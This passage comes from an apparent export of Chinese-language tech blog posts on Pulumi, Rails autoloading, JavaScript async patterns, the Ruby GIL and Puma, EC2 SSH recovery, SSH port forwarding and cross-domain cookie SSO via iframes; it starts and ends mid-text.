不過在每次建立之前可以先透過 pulumi preview --diff 的方式去了解這次有什麼變更,這也可以搭配前面提到的 refresh 去使用,例如 pulumi preview --diff --refresh 去確認狀態。 這邊就不多帶下去,不過我們要看一個比較特別的點。 Execution Order要特別注意會有執行順序的問題,那為了 demo 這個必須要重新來過,可以執行 pulumi destroy 的指令,刪除 pulumi 的資源管理的檔案以及 aws service,注意這個會真的刪除 aws service 的東西,所以要特別小心。 這邊快速提到一點,為了要防止不小心被誤砍,其實在建立的時候都可以加上 pulumi.Protect(true) 去做一個保護,加上去之後需要透過其他方式解除保護,這樣才可以刪除。 接著我們實際上來建立一個 zone 以及一個 record,程式碼如下。 123456789101112131415zone, _ := route53.NewZone(ctx, \"myjackzone\", &route53.ZoneArgs{ Comment: pulumi.String(\"\"), ForceDestroy: pulumi.Bool(false), Name: pulumi.String(\"jackjack2.com\"),}, pulumi.Protect(true))route53.NewRecord(ctx, \"www.jackjack2.com.A\", &route53.RecordArgs{ ZoneId: zone.ZoneId, Name: pulumi.String(\"www.jackjack2.com\"), Ttl: pulumi.Int(300), Type: pulumi.String(\"A\"), Records: pulumi.StringArray{ pulumi.String(\"8.8.8.8\"), },}, pulumi.Protect(true)) 接著跑 pulumi up 會發現在 preview 時選擇 detail 看到 zoneId 的欄位是 output string 並不是一個 ID,這是因為 zone 沒建立起來,你是無法建立 record,所以他的意思就是會拿前面建立完成後的資料,當作後面的 input 去建立。 Preview 成功不等於 Apply 成功接著比較要注意的一點是,preview 即使成功,但不代表你套用後是會正確的,例如以下的範例。 123456789101112131415route53.NewRecord(ctx, \"www.jackjack2.com.A\", &route53.RecordArgs{ ZoneId: pulumi.String(\"asd\"), Name: pulumi.String(\"www.jackjack2.com\"), Ttl: pulumi.Int(300), Type: pulumi.String(\"A\"), Records: pulumi.StringArray{ pulumi.String(\"8.8.8.8\"), },}, pulumi.Protect(true))route53.NewZone(ctx, \"myjackzone\", &route53.ZoneArgs{ Comment: pulumi.String(\"\"), ForceDestroy: pulumi.Bool(false), Name: pulumi.String(\"jackjack2.com\"),}, pulumi.Protect(true)) 故意亂改 record zone id,實際套用後會是看到建立兩筆建立成功,以及一個建立失敗的結果。 出現失敗可能不等於全部失敗而看到出現失敗不代表全部會失敗,如果其他參數都是合理的話,則是會建立成功,如前一張圖最後顯示 2 created 代表還是有成功的,接著再重新跑一次 pulumi up 會發現,只會出現有一項要建立而已 State Delete因為有 destroy 可以刪除 pulumi state 以及 cloud serviec,那麼就一定會單純刪除 pulumi state 的指令,就是 pulumi state delete {urn}。透過這個指令,可以單純刪除掉 pulumi 內的狀態而不影響 Cloud Provider 的內容。 這個用途以個人的情況來說會用在,若是 resource 不想被當前 stack 管理,就可以用這個指令去消除狀態。 Github Action基本上程式建構完成之後,就可以開始著手處理 CI/CD 的部分,這部分可以參考 Pulumi Github Action,個人覺得寫蠻詳細的。 後記上面的流程是個人在導入時遇到的一些小問題,這邊就做個紀錄,在慢慢把 Cloud Provider 納入 IaC 工具管理應該都會有這問題,以 pulumi 來說,我就會時常需要 import 現有 Cloud Provider 資源的狀態進來,那不小心 import 就勢必須要 delete 掉,且 import 成功後,還需要補上程式碼,避免 pulumi up 的時候,把你判斷成要刪除的窘境。 References Importing Infrastructure Resources Pulumi Import State and Backends","link":"/2022/02/22/pulumi-tutor/"},{"title":"Rails Class/Module Autoloading 機制","text":"前言在 Ruby 中如果要使用其他 class / module 是需要透過 require / load 去引用 12345678910# main.rbrequire \"./cool\"Cool.hi# cool.rbclass Cool def self.hi pp \"hi\" endend 但有在寫 Rails 的會發現,根本不用去 require / load 進來那是因為 Rails 中有一個特別的機制,叫做 autoloading 來幫忙解決這件事但 autoloading 是有對應的演算法和機制去找並不是在 rails 中任意新增檔案就可以觸發成功這篇文章就會稍微說明 rails 透過什麼樣的規則去找到對應的檔案 $LOAD_PATH在提到 rails autoloading 之前,我們先來聊聊 $LOAD_PATH有發現我開頭的範例是用 require "./cool" 這種相對路徑的方式嗎?為何沒辦法使用 require "cool" 去引用呢? 其實原因是 ruby 在用 require / load 的時候,會到 $LOAD_PATH 裡面找對應的檔案也就代表說,我可以把自己定義的路徑塞到 $LOAD_PATH 裡面,就可以直接用 require "cool" 的方式 1234567891011# main.rb$LOAD_PATH << Dir.pwdrequire \"cool\"Cool.hi# cool.rbclass Cool def self.hi pp \"hi\" endend 之前寫過 node.js 的原因,看到這裡還蠻熟悉的require 不指定路徑也是直接到 node_module 裡面找 但有一個要特別注意的點,也就是 ruby 會尋找在 class / module keyword 後面對應的字串也就是説,如果 cool.rb 的 class 是叫做 CoolYo 的話,就會噴出 uninitialized constant Cool (NameError) 這個錯誤出現可以嘗試用以下的 Code 去運行看看,就會發現有問題因為 ruby 預期的 claass / module name 應該是要跟檔案名稱一樣才對 1234567891011# main.rb$LOAD_PATH << Dir.pwdrequire \"cool\"Cool.hi# cool.rbclass CoolYo def self.hi pp \"hi\" endend 這就是核心概念,理解這個之後 Rails 中的 autoloading 就會更好懂了 autoload_paths換到 rails 中,可以透過 config.autoload_paths 去定義但跟 ruby 不太一樣的是,rails 會預設幫你把一些路徑給加進去舉例來說 app/* app/*/concerns 這些路徑,會自動被加入 autoloading rules接著我們來實際看例子來了解 rails autoloading 的規則 12345module Admin class BaseController < ApplicationController @@all_roles = Role.all endend 可以看到以上的程式中用到 Role.all,這裡的 Role nested namespace 會被解析成 123Admin::BaseController::RoleAdmin::RoleRole 這邊來快速解釋為何是以上那樣,其實直接用印出 Module.nesting 的內容就知道 123456module Admin class BaseController pp Module.nesting endend# [Admin::BaseController, Admin] 所以在 BaseController 裡面用到 Role 就會被接在 namespace 後面[Admin::BaseController::Role, Admin::Role, Role]接著會被對應到以下路徑 123admin/base_controller/role.rbadmin/role.rbrole.rb 接著就會用以上三個 path 配合 autoload_paths 去找到對應的檔案舉例來說預設 app/model 是我們的 autoload_paths,他就會到以下路徑去找 role.rb 123app/model/admin/base_controller/role.rbapp/model/admin/role.rbapp/model/role.rb 所以可以反過來看如果我的檔案放在 app/model/post/cool.rb 底下,我的 class 要怎麼取才是正確的呢? 就是叫做 class Post::Cool 即可,你改動 class 名稱、資料夾名稱或是檔案名稱,都會導致失效進而拿到 NameError (uninitialized constant Post::Cool) 的結果 可以用 ./bin/rails console 進去後直接呼叫 Post::Cool 去測試,就知道有沒有 autoload 成功 接著來看看 module 的話,通常會在 module 裡面定義 class 1234module Nice class Yo endend 以上被解析成 Nice::Yo,所以可以聯想到檔案路徑必須為 nice/yo.rb至於我放在 app/controller/nice/yo.rb 或是 app/model/nice/yo.rb 都可以因為在 autoload_paths 裡面就有這兩個的路徑 那如果我在 authoload_paths 加上 app/model/nice 的話當我使用 Nice::Yo,他的檔案配置要如何放置呢? 答案是放在 app/model/nice/nice/yo.rb 裡面,但這樣很奇怪於是就會改成用 Yo,然後把多的 nice 改給刪掉變成 app/model/nice/yo.rb 就比較合理一點 所以當你的資料夾如果有被涵蓋在 autoload_paths 底下的時候,就不需要把他當作前綴 特別的規則有一項在 Automatic Modules 提到,當如果是使用 module 的話rails 不會強制你一定要建立檔案,而是資料夾名稱有對到即可 舉例來說,建立 app/model/nice 資料夾, 接著使用 Nice 的時候,並不會錯誤rails 會幫你建置一個空的 Nice module 讓你去使用 我不確定這功能可以幹嘛,但蠻特別的就順便介紹 後記以上簡單介紹了 autoloading 的一些規則,應該足以應付大部分的規則官方文件中還有蠻多詳細的說明,也可以建議讀官方文件更清楚唷! References以下都是官方的來源唷 autoload_paths Autoloading Algorithms","link":"/2021/10/02/rails-autoload-path/"},{"title":"callback, promise, async/await 使用方式教學以及介紹 Part I","text":"[Update 2019-05-02] 關於 Error Handing 可以看下一篇文章 這篇主要紀錄 callback, promise, async/await 的使用方式以及如何從到 callback 和 promise 的 hell world 進入到 async/await 這兩兄弟的世界建議閱讀的人要有 Javascript 的基礎概念,包括對 non-blocking, event-driven 的觀念有一些涉略 CallbackCallback 是 JS 很常用的一種使用方式簡單來說,就是把 function 當作參數傳進去使用以下是簡單的使用範例123456789101112function test() { console.log(\"This test function is done.\")}function main(callback) { console.log(\"This is main start.\") callback() console.log(\"This is main end.\")}main(test)// This is main start.// This test function is done.// This is main end. 但是 callback 使用上往往沒那麼簡單,基本上都會牽扯到 API 相關的用法所以會變成下面這樣的方式12345678910111213141516function test() { // 這邊模擬 test 這個 function 去 call 其他 API 要等待的情況 // 等了一秒後才會執行 console.log 這個函式 setTimeout(()=> { console.log(\"This test function is done.\") }, 1000)}function main(callback) { console.log(\"This is main start.\") callback() console.log(\"This is main end.\")}main(test)// This is main start.// This is main end.// This test function is done. 這邊會發現,This is main end. 反而先執行印出來了, 這裡牽扯到 non-blocking 的概念, 將會放在別的章節重新介紹那如果我想要 This is main end. 在最下面的話該怎麼做呢?做法上只要把執行 This is main end. 的函示也當成 callback 傳進去就可以按照順序執行下來了123456789101112131415161718function test(callback2) { // 這邊模擬 test 這個 function 去 call 其他 API 要等待的情況 // 等了一秒後才會執行 console.log 這個函式 setTimeout(() => { console.log(\"This test function is done.\") callback2() }, 1000)}function main(callback) { console.log(\"This is main start.\") callback(() => { console.log(\"This is main end.\") })}main(test)// This is main start.// This test function is done.// This is main end. 用 callback 解決的非同步的問題, 但是當越來越多 callback 串再一起就會變成 callback hell, 如同下面這樣12345678910111213141516171819202122232425function api1(callback) { setTimeout(() => { console.log(\"Done with api1\") callback() }, 2000)}function api2(callback) { setTimeout(() => { console.log(\"Done with api2\") callback() }, 1000)}function main(callback) { api1(() => { api2(() => { callback() }) })}main(() => { console.log(\"All function is done.\")})// \"Done with api1\"// \"Done with api2\"// \"All function is done.\" 當越來越多 API 要按照順序做下去的時候就會很恐怖了,會變成這樣123456789api1(() => { api2(() => { api3(() => { api4(() => { // bla bla bla }) }) })}) Promise介紹完 callback 之後,一定要介紹他的好兄弟 PromisePromise 是一個可以對非同步進行處理以及進行各種操作的東西通常 Promise 會包含三種狀態 resolve reject pendingresolve 代表成功 rejetc 代表失敗, pending 代表還在處理中, 結束狀態未知以下有兩種方式得知結果resolve 會觸發 onSuccessful, reject 會觸發 onFailedpromise.then(onSuccessful, onFailed)promise.then(onSuccessful).catch(onFailed)以下是 Promise 的使用範例123456789101112131415161718192021222324function test(number) { return new Promise((resolve, reject) => { if (number === 1) { resolve(\"Success\") } else { reject(\"Failed\") } })}function main() { test(1).then((result) => { // result === \"Success\" console.log(result) }).catch((error) => { // 不會被執行, 因為狀態是成功 }) test(2).then((result) => { // 不會被執行, 因為狀態是失敗 console.log(result) }).catch((error) => { // error === \"Failed\" console.log(error) })} Promise 的基本介紹完之後,一定都會提到一個 Promise Chain 的概念簡單來說就是我可以一直 then 下去,直到海枯石爛, 只要我在 resolve 或是 reject 的狀態下,return 任何東西都可以 then 下去12345678910111213141516171819202122232425262728293031function test(number) { return new Promise((resolve, reject) => { if (number === 1) { resolve(\"Success\") } else { reject(\"Failed\") } })}function main() { test(1).then((result) => { // result === \"Success\" console.log(result) // return \"Next One\" return test(1) }).then((result) => { // result === \"Next One\" console.log(result) })}function main2() { test(2).then((result) => { // result === \"Success\" console.log(result) // return Promise 的物件也是可以的喔 return test(1) }).then((result) => { // result === \"Success\" console.log(result) })} 但是按照這樣的寫法下去, 又會變成另一種 then hell 的概念於是接下來出現了 async/await 這兩兄弟 async/awaitasync/await 基本上是一種語法糖, 把 Promise 的重新包裝起來然後做使用可以不用再透過 then 的方式去執行 Promise使用方式會變成以下這樣123456789101112131415function test(number) { return new Promise((resolve, reject) => { if (number === 1) { resolve(\"Success\") } else { reject(\"Failed\") } })}async function main() { var result = await test(1) // result === \"Success\" console.log(result)}main() 記得在使用 await 的時候, function 前面一定要加上 async所以當我有很多 API 要使用的話, 就會變得很乾淨12345async function main() { let result1 = await test1() let result2 = await test2() let result3 = await test3()} 結語這 Part 主要是快速介紹使用教學方式下一部分會介紹在這三種使用方式裡面是如何做到 Error Handling","link":"/2018/07/22/promise/"},{"title":"Ruby & Rails 運行機制和 single or multi-thread 淺談","text":"[Update 2022-04-23] 新增 sleep case 介紹筆者在學習新的語言時在了解完語言的一些特色後, 會開始稍微研究此語言的運行機制 以筆者最熟悉的 Node.js 來說一定會談論到 Node.js Event Loop像是 Node.js Event Loop 是 Single Thread, 但 Node.js 本身不是等等原理透過了解這些原理, 可以避免寫 code 的時候遇到一些問題舉例來說想在 Node.js 裡面 sleep 5 秒的話, 一定會搭配 Promise 的機制避免 Block Event Loop 那這篇主要是淺談, 畢竟對 Ruby 這個語言還不深入也順便把這篇當作紀錄, 之後有更深的了解也會更新在這篇或挑主題深入說明 此篇用的 Ruby 版本為 2.7 的版本尚未談論到 Ruby 3 引入的新機制, 這等筆者對 Ruby 有比較多的了解後再說了 XD Ruby Single Thread?Ruby 這個語言很有趣它是不是 Single Thread 是由它的 Interpreter 去決定的舉例來說 Ruby 有以下幾種 Interpreter MRI (Ruby 安裝後 Default 使用這個) Jruby Rubinius 等等很多, 這篇就不一一列出來根據不同實作方式, Ruby 的行為就完全會不一樣 題外話: Python 也有 GIL 以這個 example code 來看的話 1234567891011121314require 'benchmark'Benchmark.bm do |x| x.report('w/o') do 10_000_000.times{ 2+2 } end x.report('with') do a = Thread.new{ 5_000_000.times{ 2+2 } } b = Thread.new{ 5_000_000.times{ 2+2 } } a.join b.join endend 透過 Ruby 和 JRuby 去執行會得到兩個不一樣的結果Ruby 執行結果的時間兩者是一樣的JRuby 執行結果的時間是開 Thread 比較快 這個原因牽扯到 MRI 裡面有一個 Global Interpreter Lock (GIL)簡單來說在 MRI 下, 每一次只會有一個 Thread 在運行所以你開兩個 Thread 的話, 並不是同時執行, 而是切換 Thead很像是輪流去執行這兩個 Thread 也就是說掌握 Lock 的 Thread 就掌握了執行的權利而剛剛提到切換的行為我們稱之為 Context Switching 再來讓我們看一個例子123456789101112131415161718require 'benchmark'Benchmark.bm do |x| x.report('w/o') do items = [] 10_000_000.times{ items << 1 } puts \"\\n item length: #{items.length}\" end x.report('with') do items = [] a = Thread.new{ 5_000_000.times{ items << 1 } } b = Thread.new{ 5_000_000.times{ items << 1 } } a.join b.join puts \"\\n item length: #{items.length}\" endend 這個用 Ruby 和 Jruby 得到的結果也會不一樣Ruby (MRI): 兩者都會拿到 10000000Jruby: 沒開 Thread 會是拿到 10000000, 有開 Thread 每一次都拿不一樣 原因也是因為 Ruby 有 GIL 的機制存在, 所以不會導致 race condition 出現但因為 Jruby 是真正以 mutil-thread 去執行, 所以就會出現 race condition 出現, 進而導致結果不一樣而如果想再 Jruby 裡面解決這件事情, 必須加上 Mutex 的機制去保證一次只會有一個 Thread 在處理共同資料類似以下方式就可以正常運作, 但如果你的 rails 是跑在多台機制上面, 就又會需要其他機制去處理共同資料問題 12345678910111213141516171819202122232425262728require 'benchmark'mutex = Mutex.newBenchmark.bm do |x| x.report('w/o') do items = [] 10_000_000.times{ items << 1 } puts \"\\n item length: #{items.length}\" end x.report('with') do items = [] a = Thread.new{ mutex.synchronize { 5_000_000.times{ items << 1 } } } b = Thread.new{ mutex.synchronize { 5_000_000.times{ items << 1 } } } a.join b.join puts \"\\n item length: #{items.length}\" endend 但是這個 Thread 如果是在操作 I/O (network, sql) 等等情況時Lock 會被釋放並讓其他 Thread 可以有執行的權利就可以達成很像平行化執行的感覺, 可以看看這個範例 12345678910111213141516171819require 'benchmark'require 'uri'require 'net/http'uri = URI('https://google.com.tw')Benchmark.bm do |b| b.report('w/o') do res1 = Net::HTTP.get_response(uri) res2 = Net::HTTP.get_response(uri) end b.report('with') do a = Thread.new{ Net::HTTP.get_response(uri) } b = Thread.new{ Net::HTTP.get_response(uri) } a.join b.join endend 執行會發現有開 Thread 的那個明顯快上一倍的時間但這並不是因為他同時開兩個 Thread 去執行而是執行第一個 Thread 時, 發現是 I/O operation 所以把 Lock 釋放讓第二個 Thread 可以接著去運行 這邊先多提到一點在 Ruby 2.7 下, Thread Model 是 1-1 (one-to-one) 的形式而這牽扯到作業系統的 User-Space Thread 和 Kernal-Space Thread這邊就先想成, 當 Ruby 開了一個 Thread 它就是到作業系統開了 Thread 去執行只是 Ruby 在有 GIL 的狀況下, 一次只會有一個 Thread 被執行而關於 User-Space / Kernal-Space Thread 則會另外說明, 目前並不會影響後續的閱讀但假如這篇是在講 Go 的話, 這一點就必須先說明, 否則會不好理解 Go 實作的原理有興趣可以看看筆者這篇 Thread Model 那目前對 Ruby 的認知大概是這樣 (依舊在研究中 XD)這邊提供幾篇關於 GIL 的文章可以閱讀 The Ruby Global Interpreter Lock Ruby 无人知晓的 GIL [筆記] Threads in Ruby [筆記] Threads in Ruby (2) 接著講到 Ruby 就一定要談談 Rails 的部分 Rails 包含哪些東西這裡用 Rails 6 的預設去說明雖然我們都只講 Rails, 但其實它裡面還包含了很多不同層面的東西往下之前我們必須先定義好幾項名詞 Rails 是一種 Web Framework, 並不是一個 Appliction Server而運行我們 Rails 程式的 Server, 我們會把它稱為 Application Server 那 Application Server 是什麼呢?可以運行程式的商業邏輯並處理 HTTP 請求, 我們就可以稱之為是 Appliaction Server 在 Rails 安裝的 gem 中裡面會看 Rack & Puma 兩個東西 Puma 屬於 Application Server Rack 屬於一種中間件, 統一接口讓所有 Application Server 都能透過統一的 Interface 去跟程式溝通 所以到目前為止整體架構如下 Ruby - 程式語言MRI - 實作 Ruby 底層運行的一種機制Rails - Web FrameworkRack - 中間件, 統一接口讓所有 Application Server 都能透過統一的 Interface 去跟程式溝通溝通Puma - Appliction Server 但有趣的地方在於, 我查了很多資料在 Puma 和 Heroku 官網說 Puma 是一種 Web Server在其他部落格或是 StackOverflow 中, 都會把 Puma 說是一種 Application Server不過就以我理解來說, 把 Puma 的定位想成 Application Server 會比較妥當在跟別人的討論過程中, 也有人提出因為 Application Server 也是 Web Server 的一種所以我在猜這應該是為啥 Puma 官網歸類在 Web Server 的原因 那這裡定義的 Web Server 又是什麼呢?處理靜態檔案, 例如 Nginx / Apache 就非常適合這種應用, 它們也就屬於 Web Server 的範疇除此之外, Nginx / Apache 也很適合處理大量 Request並且可以當作 Reverse Proxy 把 Request bypass 到 Application Server也就是我們俗稱的 Load Balancer 綜合以上會出現其中一種架構Nginx (Web Server) -> Puma (Appliaction Server) -> Rack -> Rails Appliaction 可以參考以下文章 A Web Server vs. an App Server Rails Server options Why do I need Nginx with Puma Why Do We Need Application Servers in Ruby? (Like Puma) Rack Explained For Ruby Developers Custom (400 / 500) Error Pages in Ruby on Rails -> Exception Handler (文章中間有提到 Rails 架構) Rails 機制接著我們會說明 Rails 和 Puma 有哪些比較特別的機制 這裡目前還是以 Rails 和 Puma 官網的資料做整理若有我沒提到的部分, 非常歡迎留言, 我會再重新整理出新的內容不然目前只會以個人學習到的部分去做紀錄 Rails 針對每一個請求都會重新去 new 出一個 instance也就是你宣告在 Controller 裡的 instance 變數, 是只給當下的請求使用下一個請求拿到的資料就會是原本預設設定好的, 而不會跟前一個請求有相依性 接著來說說 Puma 作為 Application Server 做了哪些事情 Puma serves the request using a thread pool.Each request is served in a separate thread,so truly concurrent Ruby implementations (JRuby, Rubinius) will use all available CPU cores.Originally designed as a server for Rubinius, Puma also works well with Ruby (MRI) and JRuby. 依照官網說明, Puma 原本是被設計給 Rubinius 去使用的而這裡的 Rubinius 也就是我們提到, 透過不同的實作機制可以讓 Ruby 變成一個可以真正執行 multi-threads 的機制透過 Puma & Rubinius 組合, 就可以完全處理運用所有 CPU 資源 至於 Ruby (MRI) 的話, 只要是處理關於 blocking I/O (例如 Network 相關的)Puma 則是會盡可能讓他們以平行化的方式完成 不過這邊我們來看看一個高 CPU 運算的 rails 案例 (Puma min & max thread: 5)我定義一個 function, 並在 rails controller 去呼叫, fib(37) 大約花費 2 秒內 1234def fib(n) return n if n < 2 fib(n-2) + fib(n-1)end 當我透過 Ruby (MRI) 去執行的時候, 同時開兩個網頁呼叫 URL得到的結果是, 兩個頁面都花了將近 4 秒以後才回傳回來其實這就是 GIL Context Switching 而造成的影響這裡也符合一開始我們 example code 的結果 但如果 Puma 的 min & max thread 改成 1 的話第一個 request 會是 2 秒第二個 request 會是 4 秒因為 Puma 最多同時只能處理一個請求, 另一個請求就只好等前一個處理完畢 如果要更詳細說明 Puma 機制的話每當有一個 TCP 請求近來, Puma 每一個 Worker 會有一條專門接收請求的 Thread這個 Thread 是單條且獨立於 Puma 中的 Thread Pool, 這裡把它稱之 Receive Thread 每當 Receive Thread 讀取完請求後, 會把請求放入到一個 todo list 之中接著當 Thread Pool 裡面有 free/waiting Thread 就會撿去處理 上面的流程是在 queue_requests: true 這個情況 (預設行為)若是為 false, 就會變成請求一進來直接被放入到 todo, 接著由 Thread Pool 去讀取請求 更詳細的說明可以直接看 Puma Architecture 另外還有一個特別的部分,在 rails 中那條 Thread sleep 的話,是會釋放 GIL 的以上面的情況來說,max/min thread 為 2,並同時有兩個 request 進來一個打到高 CPU 運算 (約 2s)一個打到 sleep(2)兩個 request 都會是只有花費 2s 左右就回來,所以呼叫 sleep 並不用擔心 GIL 會被鎖住 但要注意的是,那條 Thread 就會被佔用著也就是以剛剛情況來說,再來第三個 request 打到高 CPU 運算的話,會是 4s 後才會回傳 後記這篇說的東西有點多也有點雜, 有些東西也是輕描淡寫的帶過之後看到更深入之後, 應該會根據不同部分去做深入介紹","link":"/2021/07/04/rails-mechanism/"},{"title":"伺服器的 ssh 設定被弄壞了, 無法登入怎麼辦?","text":"前言有時候在調整伺服器上的 ssh service 的時候 (/etc/ssh/sshd_config)可能要設置 AllowUser 只允許誰登入但好死不死的, 可能就在調整的時候沒注意到錯字就不小心把 ssh 玩壞, 導致接下來登入的時候都完全無法登入最慘的情況下, 是沒有任何地方可以登入, 就連用 root 也無法這樣的狀況下, 可以透過卸載和掛載的方式去處理 這邊發生的狀況是以 AWS EC2 的案例為主 解決方法 首先要把硬碟卸載下來, AWS 的 EC2 主要 root device 是掛載在 /dev/sda1 透過以下選取到 root device 之後把他 Detach Volume detach 成功之後, 直接掛載在另一台可以正常登入的伺服器 掛載完成之後可以在伺服器上輸入 lsblk 去看是否有掛載成功 這邊掛載成功的名字就是待會要 mount 的名字 通常掛載到另一台上面的話, 名字不會是 xvda1, 而會是別的名字 接著就是要透過 mount /dev/vda1 /mnt/folder 掛載在 /mnt/folder 這個資料夾底下 執行完指令之後, 就可以在 /mnt/folder 去操作原本壞掉機器上的硬碟了 結束之後, 透過 umount /mnt/folder 的方式把硬碟卸載 最後在 AWS 上面把那個 root device Attach Volume 到原本那台伺服器上即可 但要注意的是, 記得掛載的名字一定要選 /dev/sda1 因為這是 EC2 預設的開幾的地方, 名字換別的會導致無法開機唷","link":"/2020/06/26/ssh-broken-how-to-fix/"},{"title":"關於 SSH Tunnel 連線 (SSH Proxy, SSH Port Forwarding)","text":"這篇主要在介紹 SSH Tunnel 是什麼東西以及教學如何使用 使用情境介紹一般來說會使用到 SSH Tunnel 的其中一個情境會是這樣子的 這裡有兩台機器,分別為 A BB 為重要的服務或是資料A 為我們本身的主機,作為本地端開發時使用的 (開發會需要用到 B 的服務或是資料) 這時候我們總不能每一次在 A 把程式打完,就一次一次把程式放到 B 上面去跑這件事實在是太麻煩了(汗所以可以的話希望可以直接在 A 機器上面就能夠讀取到 B 的服務或是資料這樣的話就能夠方便直接在本地開發而要達成這件事情的方法就是透過 SSH Tunnel 的方式去達成 SSH Tunnel 介紹SSH Tunnel 在者裡面扮演的角色可以這樣思考 你在住家附近有一口水井,但你水井完全是沒有水可以取用然後在距離很遠的地方有一個水庫,要喝水的必須到水庫取水並放回住家附近的水井有一個作法就是,把水井和水庫之間挖一條通道,讓水庫的水直接導入到水井這個通道就是我們 SSH Tunnel 扮演的角色 而用比較技術的說法的話,SSH Tunnel 就是做到了 Port Forwarding 的功用 SSH Tunnel 使用方式這邊主要會是用 Linux 原生指令 ssh 去完成 SSH Tunnel在這之前我們先回想一下 ssh 連線的方式! 當已經有一台 server 上面跑著一個網頁的服務而你可以透過以下指令 ssh 連線到那一台 server 上這邊我們假設遠端 server 的 IP 為 127.0.0.1這裡 IP 只是示意使用, 實際 IP 還是要以要連線的 server IP 為主 透過 ssh root@127.0.0.1ssh 連線上去之後,上面有跑一個 Nginx 的服務在 80 port這時候在 server 上執行 curl localhost 會發現有成功回傳 Nginx 的 Hello 頁面 此時如果你想要在自己的電腦上就能讀取這個網頁或是資料庫該怎麼辦?這邊我們就要介紹 -L 這個 option 可以幫你達成這個目標!Template: ssh -L [local_port]:localhost:[remote_port] root@127.0.0.1 所以如果我要把 server 上的 80 port 網頁服務導入到本地端的 8080 port 該怎麼做呢?可以使用以下這行指令ssh -L 8080:localhost:80 root@127.0.0.1然後在瀏覽器打開 http://localhost:8080 即可看到 server 上面的網頁! 接著又有另一種情境出現了就是在 server 上要讀取 local port 的服務的時候該怎麼辦呢?這裡就可以使用另一種相反的方式,也就是透過 -R 去達成-R 簡單來說就是反過來,你可以把本地機器上的服務 port 導入到 server 讓他連線!Template: ssh -R [remote_port]:localhsot:[local_port] root@127.0.0.1 舉例來說,在本地端起了一個 8080 port 的服務如果要在 server 上 6666 port 讀取的話可以透過以下方式取得!ssh -R 6666:localhost:8080 root@127.0.0.1 後記最近還蠻常會使用到這個方式去連線,於是在這邊特別把它記錄下來然而這種方式只是圖個方便,需要的時候做個 forwarding 而已","link":"/2019/01/08/ssh-tunnel/"},{"title":"Single Sign On 實作方式介紹 (iframe & cookie)","text":"前言SSO 是 Sinsgle Sign On, 也就是單點登入簡單來說就是『我希望我在一個地方 A 登入後, 在其他地方也能使用同一組帳號密碼登入』然而透過 cookie-session 的機制, 有時在一個服務 A 登入後, 在服務 B 也不需要登入也能直接使用但 SSO 並不代表, 我存在 A 的帳號密碼, 也會被其他地方的系統儲存而是其他地方的系統都是透過 A 去做到帳密認證, 也就是只有 A 會儲存我的帳號密碼 透過實現 SSO 可以達到以下幾個好處 使用者只需要紀錄一套帳號密碼就可以在其他地方登入 開發新的系統時, 不需要重新實作登入系統, 直接用 SSO 機制就可以完成登入系統 談論到 SSO 就會有 OAuth 出現但要注意的是, SSO 和 OAuth 是兩種不同的概念最重要的差別在於有沒有第三方系統干涉以及認證和授權之間的差別 使用場景看看以下的例子SSO: 在公司內部系統上, 全部只要用一組帳號密碼就可以, 不用各個系統都要一組帳號密碼OAuth: 在電商平台 A, B 上, 我不想要重新註冊, 於是我透過 Google 登入, 並授權 A, B 能夠讀取我在 Google 上面的信箱資料 那麼要如何實現 SSO 呢?實現 SSO 的概念有很多種做法, 相信有人會聽過用 CAS 去實作但這篇暫時還不會探討到 CAS 的實作方式 而是先以 domain 的切入點去做講解我們先列舉不同情境, 而不同情境有不同實現方式 同一個 second level domain可以利用 cookie 的機制把 cookie 寫入到 second level domain 上這樣其他 third level domain 都可以同時存取到這個 cookie 舉個例子來說在 test1.example.com 登入後, 把 cookie 寫入到 example.com屆時再 http://test2.example.com 也可以存取 example.com 的 cookie代表說 http://test2.example.com 也享有剛剛在 http://test1.example.com 登入後權利 這種情況就很單純, 很適合用在應用都是在同一個網域下的狀況但現實情況通常不會這麼單純, 所以就會有不同 domain 的情況出現 不同個 second or top level domain這裡實作分成就有很多種方式了像是可以把 cookie 寫入到各個 domain 去又或是可以用 CAS 去實作 把 Cookie 寫入到多個 domain這個方法說來弔詭我們先來說說 cookie 的機制, cookie 在 domain A 寫入的時候domain A 是不能寫入到其他 domain B, C 之類的地方 假設在 http://test.example1.com 登入, 此時我能把 cookie 寫入到 example1.com但我卻不能把 cookie 寫入到 http://test1.example2.com所以我們會需要利用其他方式去寫入 http://test1.example2.com 的 cookie 以下方式在 Chrome 80 以後必須要 https 才可以, 但 firefox 74 版本是可以用 http 的 第一種是利用 Get 的方式去發, 但設置 Cookie 時會需要 SameSite=None; Secure原因是 Chrome 在 80 版本之後對第三方 Cookie 有做限制, 可參考此文章 例如在 http://test.example.com 底下, 去發一個 get request 到 test.example1.comrequest 可以用以下方式去發1<img src=\"https://test.example1.com?cookieValue=123\"/>而在 http://test.example1.com 接收到 request 的時候, 就要把 cookie 給寫入12345// chrome + https"Set-Header": "cookieValue=123; SameSite=None; Secure"// firefox + http"Set-Header": "cookieValue=123;" // SameSite 預設為 None, 但 firefox 可以不用 Secure 第二種方式可以利用 iframe但 iframe 會需要允許被嵌入, iframe src 是 https://test.example1.com/iframe然後 iframe 裡面的內容為下, 發過去 request 之後, 由伺服器去 set-cookie set-cookie 的方式如同上面的設置方式1<img src=\"https://test.example1.com?cookieValue=123\"/>從以上兩種方式可以發現, 如果要在”很多個”網域設置這種流程, 會是一件非常大的功因為你如果在 N 個 domain 要設置 cookie, 你就必須設置 N 個 iframe / img 去觸發 Request而刪除 cookie 的時候, 也需要一個 domain 慢慢刪除, 是一件非常麻煩的事情 這裏 DEMO 一下 iframe 那種方式呈現的結果, 先介紹一下流程總共有兩個網站, 一個是 http://test1.example.com:2000 另一個是 https://d698d280.ngrok.io/目標就是要讓 http://test1.example.com:2000 的 cookie 也能夠註冊到 https://d698d280.ngrok.io/ 首先到 https://d698d280.ngrok.io/ 這裡面是沒有任何一個 cookie 接著進入到 http://test1.example.com:2000 會給我一個 cookie 1res.setHeader(\"Set-Cookie\", \"a=this_is_test1.example.com;\") 接著我在 http://test1.example.com:2000 用以下 script 開啟一個 iframe iframe src 為 https://d698d280.ngrok.io/ iframe 123var iframe = document.createElement(\"iframe\")iframe.src = \"https://d698d280.ngrok.io/iframe\"document.body.append(iframe) iframe 裡面會有一個接收 postMessage 的 function 12345window.addEventListener(\"message\", function(event) { var img = document.createElement(\"img\") img.src = \"https://d698d280.ngrok.io?a=\" + event.data.cookie document.body.append(img)}) 接著由 http://test1.example.com:2000 發送 postMessage 並把 cookie this_is_test1.example.com 給 iframe 1iframe.contentWindow.postMessage({cookie: 